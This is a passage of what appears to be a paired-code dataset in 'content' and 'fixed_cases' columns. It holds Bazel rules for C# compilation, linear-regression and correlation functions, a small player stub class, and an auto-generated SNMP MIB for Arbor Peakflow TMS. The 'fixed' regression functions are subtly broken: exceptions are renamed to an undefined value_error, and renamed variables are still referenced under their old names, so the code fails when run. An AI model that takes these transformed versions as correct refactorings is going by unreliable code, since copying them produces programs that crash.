content stringlengths 7 1.05M | fixed_cases stringlengths 1 1.28M |
|---|---|
load(
"@d2l_rules_csharp//csharp/private:common.bzl",
"collect_transitive_info",
"get_analyzer_dll",
)
load("@d2l_rules_csharp//csharp/private:providers.bzl", "CSharpAssembly")
def _format_ref_arg(assembly):
return "/r:" + assembly.path
def _format_analyzer_arg(analyzer):
return "/analyzer:" + analyzer
def _format_additionalfile_arg(additionalfile):
return "/additionalfile:" + additionalfile.path
def _format_resource_arg(resource):
return "/resource:" + resource.path
def AssemblyAction(
actions,
name,
additionalfiles,
analyzers,
debug,
deps,
langversion,
resources,
srcs,
target,
target_framework,
toolchain):
out_ext = "dll" if target == "library" else "exe"
out = actions.declare_file("%s.%s" % (name, out_ext))
refout = actions.declare_file("%s.ref.%s" % (name, out_ext))
pdb = actions.declare_file(name + ".pdb")
# Our goal is to match msbuild as much as reasonable
# https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/listed-alphabetically
args = actions.args()
args.add("/unsafe-")
args.add("/checked-")
args.add("/nostdlib+") # mscorlib will get added due to our transitive deps
args.add("/utf8output")
args.add("/deterministic+")
args.add("/filealign:512")
args.add("/nologo")
args.add("/highentropyva")
args.add("/warn:0") # TODO: this stuff ought to be configurable
args.add("/target:" + target)
args.add("/langversion:" + langversion)
if debug:
args.add("/debug+")
args.add("/optimize-")
else:
args.add("/optimize+")
# TODO: .NET core projects use debug:portable. Investigate this, maybe move
# some of this into the toolchain later.
args.add("/debug:pdbonly")
# outputs
args.add("/out:" + out.path)
args.add("/refout:" + refout.path)
args.add("/pdb:" + pdb.path)
# assembly references
refs = collect_transitive_info(deps, target_framework)
args.add_all(refs, map_each = _format_ref_arg)
# analyzers
analyzer_assemblies = [get_analyzer_dll(a) for a in analyzers]
args.add_all(analyzer_assemblies, map_each = _format_analyzer_arg)
args.add_all(additionalfiles, map_each = _format_additionalfile_arg)
# .cs files
args.add_all([cs.path for cs in srcs])
# resources
args.add_all(resources, map_each = _format_resource_arg)
# TODO:
# - appconfig(?)
# - define
# * Need to audit D2L defines
# * msbuild adds some by default depending on your TF; we should too
# - doc (d2l can probably skip this?)
# - main (probably not a high priority for d2l)
# - pathmap (needed for deterministic pdbs across hosts): this will
# probably need to be done in a wrapper because of the difference between
# the analysis phase (when this code runs) and execution phase.
# - various code signing args (not needed for d2l)
# - COM-related args like /link
# - allow warnings to be configured
# - unsafe (not needed for d2l)
# - win32 args like /win32icon
# spill to a "response file" when the argument list gets too big (Bazel
# makes that call based on limitations of the OS).
args.set_param_file_format("multiline")
args.use_param_file("@%s")
# dotnet.exe csc.dll /noconfig <other csc args>
# https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/command-line-building-with-csc-exe
actions.run(
mnemonic = "CSharpCompile",
progress_message = "Compiling " + name,
inputs = depset(
direct = srcs + resources + analyzer_assemblies + additionalfiles +
[toolchain.compiler],
transitive = [refs],
),
outputs = [out, refout, pdb],
executable = toolchain.runtime,
arguments = [
toolchain.compiler.path,
# This can't go in the response file (if it does it won't be seen
# until it's too late).
"/noconfig",
args,
],
)
return CSharpAssembly[target_framework](
out = out,
refout = refout,
pdb = pdb,
deps = deps,
transitive_refs = refs,
)
| load('@d2l_rules_csharp//csharp/private:common.bzl', 'collect_transitive_info', 'get_analyzer_dll')
load('@d2l_rules_csharp//csharp/private:providers.bzl', 'CSharpAssembly')
def _format_ref_arg(assembly):
return '/r:' + assembly.path
def _format_analyzer_arg(analyzer):
return '/analyzer:' + analyzer
def _format_additionalfile_arg(additionalfile):
return '/additionalfile:' + additionalfile.path
def _format_resource_arg(resource):
return '/resource:' + resource.path
def assembly_action(actions, name, additionalfiles, analyzers, debug, deps, langversion, resources, srcs, target, target_framework, toolchain):
out_ext = 'dll' if target == 'library' else 'exe'
out = actions.declare_file('%s.%s' % (name, out_ext))
refout = actions.declare_file('%s.ref.%s' % (name, out_ext))
pdb = actions.declare_file(name + '.pdb')
args = actions.args()
args.add('/unsafe-')
args.add('/checked-')
args.add('/nostdlib+')
args.add('/utf8output')
args.add('/deterministic+')
args.add('/filealign:512')
args.add('/nologo')
args.add('/highentropyva')
args.add('/warn:0')
args.add('/target:' + target)
args.add('/langversion:' + langversion)
if debug:
args.add('/debug+')
args.add('/optimize-')
else:
args.add('/optimize+')
args.add('/debug:pdbonly')
args.add('/out:' + out.path)
args.add('/refout:' + refout.path)
args.add('/pdb:' + pdb.path)
refs = collect_transitive_info(deps, target_framework)
args.add_all(refs, map_each=_format_ref_arg)
analyzer_assemblies = [get_analyzer_dll(a) for a in analyzers]
args.add_all(analyzer_assemblies, map_each=_format_analyzer_arg)
args.add_all(additionalfiles, map_each=_format_additionalfile_arg)
args.add_all([cs.path for cs in srcs])
args.add_all(resources, map_each=_format_resource_arg)
args.set_param_file_format('multiline')
args.use_param_file('@%s')
actions.run(mnemonic='CSharpCompile', progress_message='Compiling ' + name, inputs=depset(direct=srcs + resources + analyzer_assemblies + additionalfiles + [toolchain.compiler], transitive=[refs]), outputs=[out, refout, pdb], executable=toolchain.runtime, arguments=[toolchain.compiler.path, '/noconfig', args])
return CSharpAssembly[target_framework](out=out, refout=refout, pdb=pdb, deps=deps, transitive_refs=refs) |
def get_coefficients(Xs, Ys):
if len(Xs) != len(Ys):
raise ValueError("X and Y series has different lengths")
if not isinstance(Xs[0], (int, float)) and not isinstance(Ys[0], (int, float)):
raise ValueError("X or Y are not 1D list with numbers")
n = len(Xs)
X_sum = sum(Xs)
X_squared_sum = 0
for x in Xs:
X_squared_sum += x**2
Y_sum = sum(Ys)
X_by_Y_sum = 0
for i in range(len(Xs)):
X_by_Y_sum += (Xs[i]*Ys[i])
m = float((n * X_by_Y_sum) - (X_sum * Y_sum)) / float((n * X_squared_sum) - (X_sum**2))
b = float((Y_sum * X_squared_sum) - (X_sum * X_by_Y_sum)) / float((n * X_squared_sum) - (X_sum**2))
return m, b
def r_correlation(Xs, Ys):
if len(Xs) != len(Ys):
raise ValueError("X and Y series has different lengths")
if not isinstance(Xs[0], (int, float)) and not isinstance(Ys[0], (int, float)):
raise ValueError("X or Y are not 1D list with numbers")
n = len(Xs)
X_sum = sum(Xs)
X_squared_sum = 0.0
for x in Xs:
X_squared_sum += x**2
Y_sum = sum(Ys)
Y_squared_sum = 0.0
for y in Ys:
Y_squared_sum += y**2
X_by_Y_sum = 0.0
for i in range(len(Xs)):
X_by_Y_sum += (Xs[i]*Ys[i])
r_numerator = (n * X_by_Y_sum) - (X_sum * Y_sum)
r_denominator = ( (n * X_squared_sum) - (X_sum**2) ) * ( (n * Y_squared_sum) - (Y_sum ** 2) )
r_denominator = pow(r_denominator, 0.5)
return float(r_numerator) / float(r_denominator)
def r2_correlation(Xs, Ys):
return pow(r_correlation(Xs, Ys), 2) | def get_coefficients(Xs, Ys):
if len(Xs) != len(Ys):
raise value_error('X and Y series has different lengths')
if not isinstance(Xs[0], (int, float)) and (not isinstance(Ys[0], (int, float))):
raise value_error('X or Y are not 1D list with numbers')
n = len(Xs)
x_sum = sum(Xs)
x_squared_sum = 0
for x in Xs:
x_squared_sum += x ** 2
y_sum = sum(Ys)
x_by_y_sum = 0
for i in range(len(Xs)):
x_by_y_sum += Xs[i] * Ys[i]
m = float(n * X_by_Y_sum - X_sum * Y_sum) / float(n * X_squared_sum - X_sum ** 2)
b = float(Y_sum * X_squared_sum - X_sum * X_by_Y_sum) / float(n * X_squared_sum - X_sum ** 2)
return (m, b)
def r_correlation(Xs, Ys):
if len(Xs) != len(Ys):
raise value_error('X and Y series has different lengths')
if not isinstance(Xs[0], (int, float)) and (not isinstance(Ys[0], (int, float))):
raise value_error('X or Y are not 1D list with numbers')
n = len(Xs)
x_sum = sum(Xs)
x_squared_sum = 0.0
for x in Xs:
x_squared_sum += x ** 2
y_sum = sum(Ys)
y_squared_sum = 0.0
for y in Ys:
y_squared_sum += y ** 2
x_by_y_sum = 0.0
for i in range(len(Xs)):
x_by_y_sum += Xs[i] * Ys[i]
r_numerator = n * X_by_Y_sum - X_sum * Y_sum
r_denominator = (n * X_squared_sum - X_sum ** 2) * (n * Y_squared_sum - Y_sum ** 2)
r_denominator = pow(r_denominator, 0.5)
return float(r_numerator) / float(r_denominator)
def r2_correlation(Xs, Ys):
return pow(r_correlation(Xs, Ys), 2) |
s = "Guido van Rossum heeft programmeertaal Python bedacht."
for letter in s:
if letter in 'aeiou':
print(letter)
| s = 'Guido van Rossum heeft programmeertaal Python bedacht.'
for letter in s:
if letter in 'aeiou':
print(letter) |
class stub:
def __init__(self, root):
self.dirmap = {root:[]}
self.state = 'stopped'
def mkdir(self, containing_dir, name):
self.dirmap[containing_dir] += [name]
path = containing_dir + '/' + name
self.dirmap[path] = []
return path
def add_file(self, containing_dir, name):
self.dirmap[containing_dir] += [name]
def query_play_state(self):
return self.state
def listdir(self, path):
return self.dirmap[path]
def isdir(self, path):
return path in self.dirmap
def launch_player(self, path):
self.state = 'playing'
def pause_player(self):
self.state = 'paused'
def stop_player(self):
self.state = 'stopped'
def rewind_player(self):
pass
def resume_player(self):
self.state = 'playing'
| class Stub:
def __init__(self, root):
self.dirmap = {root: []}
self.state = 'stopped'
def mkdir(self, containing_dir, name):
self.dirmap[containing_dir] += [name]
path = containing_dir + '/' + name
self.dirmap[path] = []
return path
def add_file(self, containing_dir, name):
self.dirmap[containing_dir] += [name]
def query_play_state(self):
return self.state
def listdir(self, path):
return self.dirmap[path]
def isdir(self, path):
return path in self.dirmap
def launch_player(self, path):
self.state = 'playing'
def pause_player(self):
self.state = 'paused'
def stop_player(self):
self.state = 'stopped'
def rewind_player(self):
pass
def resume_player(self):
self.state = 'playing' |
#
# PySNMP MIB module PEAKFLOW-TMS-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/PEAKFLOW-TMS-MIB
# Produced by pysmi-0.3.4 at Wed May 1 14:40:01 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
arbornetworksProducts, = mibBuilder.importSymbols("ARBOR-SMI", "arbornetworksProducts")
Integer, ObjectIdentifier, OctetString = mibBuilder.importSymbols("ASN1", "Integer", "ObjectIdentifier", "OctetString")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ConstraintsIntersection, SingleValueConstraint, ConstraintsUnion, ValueSizeConstraint, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsIntersection", "SingleValueConstraint", "ConstraintsUnion", "ValueSizeConstraint", "ValueRangeConstraint")
ifName, = mibBuilder.importSymbols("IF-MIB", "ifName")
Ipv6AddressPrefix, Ipv6Address = mibBuilder.importSymbols("IPV6-TC", "Ipv6AddressPrefix", "Ipv6Address")
NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance")
sysName, = mibBuilder.importSymbols("SNMPv2-MIB", "sysName")
Integer32, Bits, ObjectIdentity, ModuleIdentity, MibScalar, MibTable, MibTableRow, MibTableColumn, Gauge32, NotificationType, Counter64, Unsigned32, iso, MibIdentifier, TimeTicks, Counter32, IpAddress = mibBuilder.importSymbols("SNMPv2-SMI", "Integer32", "Bits", "ObjectIdentity", "ModuleIdentity", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Gauge32", "NotificationType", "Counter64", "Unsigned32", "iso", "MibIdentifier", "TimeTicks", "Counter32", "IpAddress")
TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString")
peakflowTmsMIB = ModuleIdentity((1, 3, 6, 1, 4, 1, 9694, 1, 5))
peakflowTmsMIB.setRevisions(('2013-08-19 00:00', '2012-03-29 12:00', '2012-01-12 12:00', '2011-06-14 16:00', '2011-06-03 16:00', '2011-06-03 00:00', '2011-05-23 00:00', '2011-01-21 00:00', '2010-10-28 00:00', '2010-09-07 00:00', '2009-05-27 00:00', '2009-05-08 00:00', '2009-03-11 00:00', '2009-02-13 00:00', '2008-11-13 00:00', '2008-04-07 00:00', '2007-11-20 00:00', '2007-04-27 00:00',))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
if mibBuilder.loadTexts: peakflowTmsMIB.setRevisionsDescriptions(('Updated contact information', 'Bug#50908: Fix reversed tmsSpCommunication enumerations.', 'Added tmsSystemPrefixesOk and tmsSystemPrefixesMissing traps.', 'Fix stray quote that was causing a syntax error.', 'Added performnace traps.', 'Fixed some typos and grammar problems.', 'Added IPv6 versions of existing IPv4 objects.', 'Added new traps (tmsAutomitigationBgp {Enabled/Disabled/Suspended}) for traffic-triggered automitigation BGP announcements.', 'Added new traps (tmsSpCommunicationDown and tmsSpCommunicationUp) for alerting about failed communication with Peakflow SP.', 'Added new traps (tmsFilesystemCritical and tmsFilesystemNominal) for new filesystem monitoring feature.', 'The March 11 2009 revision had accidentally obsoleted the tmsHostFault OID, rather than the hostFault trap. This is now fixed. The tmsHostFault OID is restored to current status and the hostFault trap is marked obsolete.', 'Update contact group name and company address.', 'Obsoleted the tmsHostFault trap.', 'Added new objects to support TMS 5.0', 'Update contact info.', "Prefixed Textual Conventions with 'Tms' for uniqueness", 'Removed unused Textual Conventions, added display hints', 'Initial revision',))
if mibBuilder.loadTexts: peakflowTmsMIB.setLastUpdated('201308190000Z')
if mibBuilder.loadTexts: peakflowTmsMIB.setOrganization('Arbor Networks, Inc.')
if mibBuilder.loadTexts: peakflowTmsMIB.setContactInfo(' Arbor Networks, Inc. Arbor Technical Assistance Center Postal: 76 Blanchard Road Burlington, MA 01803 USA Tel: +1 866 212 7267 (toll free) +1 781 362 4300 Email: support@arbor.net ')
if mibBuilder.loadTexts: peakflowTmsMIB.setDescription('Peakflow TMS MIB')
class TmsTableIndex(TextualConvention, Integer32):
description = 'Used for an index into a table'
status = 'current'
displayHint = 'd'
subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 2147483647)
class TmsTableIndexOrZero(TextualConvention, Integer32):
description = 'The number of items in a table. May be zero if the table is empty.'
status = 'current'
displayHint = 'd'
subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 2147483647)
class TmsPercentage(TextualConvention, Integer32):
description = 'A percentage value (0% - 100%)'
status = 'current'
displayHint = 'd'
subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 100)
class TmsHundredths(TextualConvention, Integer32):
description = 'An integer representing hundredths of a unit'
status = 'current'
displayHint = 'd-2'
peakflowTmsMgr = MibIdentifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2))
tmsHostFault = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 1), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsHostFault.setStatus('current')
if mibBuilder.loadTexts: tmsHostFault.setDescription('state of faults within a TMS device')
tmsHostUpTime = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 2), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsHostUpTime.setStatus('current')
if mibBuilder.loadTexts: tmsHostUpTime.setDescription('uptime of this host')
deviceCpuLoadAvg1min = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 3), TmsHundredths()).setMaxAccess("readonly")
if mibBuilder.loadTexts: deviceCpuLoadAvg1min.setStatus('current')
if mibBuilder.loadTexts: deviceCpuLoadAvg1min.setDescription('Average number of processes in run queue during last 1 min.')
deviceCpuLoadAvg5min = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 4), TmsHundredths()).setMaxAccess("readonly")
if mibBuilder.loadTexts: deviceCpuLoadAvg5min.setStatus('current')
if mibBuilder.loadTexts: deviceCpuLoadAvg5min.setDescription('Average number of processes in run queue during last 5 min.')
deviceCpuLoadAvg15min = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 5), TmsHundredths()).setMaxAccess("readonly")
if mibBuilder.loadTexts: deviceCpuLoadAvg15min.setStatus('current')
if mibBuilder.loadTexts: deviceCpuLoadAvg15min.setDescription('Average number of processes in run queue during last 15 min.')
deviceDiskUsage = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 6), TmsPercentage()).setMaxAccess("readonly")
if mibBuilder.loadTexts: deviceDiskUsage.setStatus('current')
if mibBuilder.loadTexts: deviceDiskUsage.setDescription('Percentage of primary data partition used.')
devicePhysicalMemoryUsage = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 7), TmsPercentage()).setMaxAccess("readonly")
if mibBuilder.loadTexts: devicePhysicalMemoryUsage.setStatus('current')
if mibBuilder.loadTexts: devicePhysicalMemoryUsage.setDescription('Percentage of physical memory used.')
deviceSwapSpaceUsage = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 8), TmsPercentage()).setMaxAccess("readonly")
if mibBuilder.loadTexts: deviceSwapSpaceUsage.setStatus('current')
if mibBuilder.loadTexts: deviceSwapSpaceUsage.setDescription('Percentage of swap space used.')
tmsTrapString = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 9), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapString.setStatus('current')
if mibBuilder.loadTexts: tmsTrapString.setDescription('Temporary string for reporting information in traps')
tmsTrapDetail = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 10), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapDetail.setStatus('current')
if mibBuilder.loadTexts: tmsTrapDetail.setDescription('Temporary string for reporting additional detail (if any) about a trap')
tmsTrapSubhostName = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 11), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapSubhostName.setStatus('current')
if mibBuilder.loadTexts: tmsTrapSubhostName.setDescription('Temporary string for reporting the name of a subhost')
tmsTrapComponentName = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 12), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapComponentName.setStatus('current')
if mibBuilder.loadTexts: tmsTrapComponentName.setDescription('Temporary string for reporting the name of a program or device')
tmsTrapBgpPeer = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 13), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapBgpPeer.setStatus('current')
if mibBuilder.loadTexts: tmsTrapBgpPeer.setDescription('IP address of a BGP peer')
tmsTrapGreSource = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 14), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapGreSource.setStatus('current')
if mibBuilder.loadTexts: tmsTrapGreSource.setDescription('GRE source IP address')
tmsTrapGreDestination = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 15), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapGreDestination.setStatus('current')
if mibBuilder.loadTexts: tmsTrapGreDestination.setDescription('GRE destination IP address')
tmsTrapNexthop = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 16), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapNexthop.setStatus('current')
if mibBuilder.loadTexts: tmsTrapNexthop.setDescription('Nexthop IP address')
tmsTrapIpv6BgpPeer = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 17), Ipv6Address()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapIpv6BgpPeer.setStatus('current')
if mibBuilder.loadTexts: tmsTrapIpv6BgpPeer.setDescription('IPv6 address of a BGP peer')
tmsTrapIpv6GreSource = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 18), Ipv6Address()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapIpv6GreSource.setStatus('current')
if mibBuilder.loadTexts: tmsTrapIpv6GreSource.setDescription('GRE source IPv6 address')
tmsTrapIpv6GreDestination = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 19), Ipv6Address()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapIpv6GreDestination.setStatus('current')
if mibBuilder.loadTexts: tmsTrapIpv6GreDestination.setDescription('GRE destination IPv6 address')
tmsTrapIpv6Nexthop = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 20), Ipv6Address()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapIpv6Nexthop.setStatus('current')
if mibBuilder.loadTexts: tmsTrapIpv6Nexthop.setDescription('Nexthop IPv6 address')
peakflowTmsTraps = MibIdentifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3))
peakflowTmsTrapsEnumerate = MibIdentifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0))
hostFault = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 1)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsHostFault"))
if mibBuilder.loadTexts: hostFault.setStatus('obsolete')
if mibBuilder.loadTexts: hostFault.setDescription('Obsolete; replaced by a number of more specific traps.')
greTunnelDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 2)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapGreSource"), ("PEAKFLOW-TMS-MIB", "tmsTrapGreDestination"))
if mibBuilder.loadTexts: greTunnelDown.setStatus('current')
if mibBuilder.loadTexts: greTunnelDown.setDescription('The greTunnelDown/greTunnelUp traps are generated when a GRE tunnel changes state.')
greTunnelUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 3)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapGreSource"), ("PEAKFLOW-TMS-MIB", "tmsTrapGreDestination"))
if mibBuilder.loadTexts: greTunnelUp.setStatus('current')
if mibBuilder.loadTexts: greTunnelUp.setDescription('The greTunnelDown/greTunnelUp traps are generated when a GRE tunnel changes state.')
tmsLinkUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 4)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"))
if mibBuilder.loadTexts: tmsLinkUp.setStatus('obsolete')
if mibBuilder.loadTexts: tmsLinkUp.setDescription('Obsolete; IF-MIB::linkUp is now used instead')
tmsLinkDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 5)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"))
if mibBuilder.loadTexts: tmsLinkDown.setStatus('obsolete')
if mibBuilder.loadTexts: tmsLinkDown.setDescription('Obsolete; IF-MIB::linkDown is now used instead')
subHostUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 6)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapSubhostName"))
if mibBuilder.loadTexts: subHostUp.setStatus('current')
if mibBuilder.loadTexts: subHostUp.setDescription('Generated when a subhost transitions to active')
subHostDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 7)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapSubhostName"))
if mibBuilder.loadTexts: subHostDown.setStatus('current')
if mibBuilder.loadTexts: subHostDown.setDescription('Generated when a subhost transitions to inactive')
tmsBgpNeighborDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 8)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapBgpPeer"))
if mibBuilder.loadTexts: tmsBgpNeighborDown.setStatus('current')
if mibBuilder.loadTexts: tmsBgpNeighborDown.setDescription('Generated when a BGP neighbor transitions out of the ESTABLISHED state')
tmsBgpNeighborUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 9)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapBgpPeer"))
if mibBuilder.loadTexts: tmsBgpNeighborUp.setStatus('current')
if mibBuilder.loadTexts: tmsBgpNeighborUp.setDescription('Generated when a BGP neighbor transitions into the ESTABLISHED state')
tmsNexthopDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 10)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapNexthop"), ("IF-MIB", "ifName"))
if mibBuilder.loadTexts: tmsNexthopDown.setStatus('current')
if mibBuilder.loadTexts: tmsNexthopDown.setDescription('Generated when the nexthop host cannot be contacted')
tmsNexthopUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 11)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapNexthop"), ("IF-MIB", "ifName"))
if mibBuilder.loadTexts: tmsNexthopUp.setStatus('current')
if mibBuilder.loadTexts: tmsNexthopUp.setDescription('Generated when the nexthop host cannot be contacted')
tmsMitigationError = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 12)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsMitigationIndex"), ("PEAKFLOW-TMS-MIB", "tmsMitigationName"))
if mibBuilder.loadTexts: tmsMitigationError.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationError.setDescription('A mitigation cannot run because of a configuration error')
tmsMitigationSuspended = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 13)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsMitigationIndex"), ("PEAKFLOW-TMS-MIB", "tmsMitigationName"))
if mibBuilder.loadTexts: tmsMitigationSuspended.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationSuspended.setDescription('A mitigation has been suspended due to some external problem (nexthop not reachable, BGP down, etc.)')
tmsMitigationRunning = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 14)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsMitigationIndex"), ("PEAKFLOW-TMS-MIB", "tmsMitigationName"))
if mibBuilder.loadTexts: tmsMitigationRunning.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationRunning.setDescription('A previously-detected mitigation problem has been cleared and the mitigation is now running')
tmsConfigMissing = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 15)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsConfigMissing.setStatus('current')
if mibBuilder.loadTexts: tmsConfigMissing.setDescription('Generated when a TMS configuration file cannot be found.')
tmsConfigError = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 16)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsConfigError.setStatus('current')
if mibBuilder.loadTexts: tmsConfigError.setDescription('Generated when an error in a TMS configuration file is detected.')
tmsConfigOk = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 17)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsConfigOk.setStatus('current')
if mibBuilder.loadTexts: tmsConfigOk.setDescription('All configuration problems have been corrected.')
